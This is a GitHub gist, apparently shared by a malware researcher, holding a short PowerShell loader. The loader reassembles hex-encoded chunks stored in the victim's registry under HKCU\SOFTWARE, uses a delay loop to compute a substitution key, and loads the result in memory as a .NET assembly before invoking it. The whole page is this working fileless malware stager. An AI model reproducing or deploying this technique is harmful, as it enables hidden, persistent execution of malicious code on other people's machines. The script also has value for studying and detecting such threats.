Skip to content

Instantly share code, notes, and snippets.

@embee-research
Created May 5, 2021 05:55
Show Gist options
  • Save embee-research/f9603fbb3f338a13bbeff77409c703e7 to your computer and use it in GitHub Desktop.
Save embee-research/f9603fbb3f338a13bbeff77409c703e7 to your computer and use it in GitHub Desktop.
<# hljnagvaw #>$u=$env:UserName;
for ($counter=0; $counter -le 700; $counter++){
$pathToRegKey="HKCU:\SOFTWARE\"+$u+"1";
Try{
$a=$a+(Get-ItemProperty -path $pathToRegKey).$counter
}
Catch{}
};
function StringToBytes{[cmdletbinding()]
param([parameter(Mandatory=$true)][String]$hs);
$Bytes = [byte[]]::new($hs.Length / 2);
for($counter=0; $counter -lt $hs.Length;$counter+=2){
$Bytes[$counter/2] = [convert]::ToByte($hs.Substring($counter, 2), 16)
}
$Bytes};
$counter = 0;
While ($True){
$counter++; $ko = [math]::Sqrt($counter);
if ($ko -eq 1000){
break
}
}
[byte[]]$badCodeBytes= StringToBytes($a.replace("#",$ko));
[Reflection.Assembly]::Load($badCodeBytes);
[Open]::Test();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment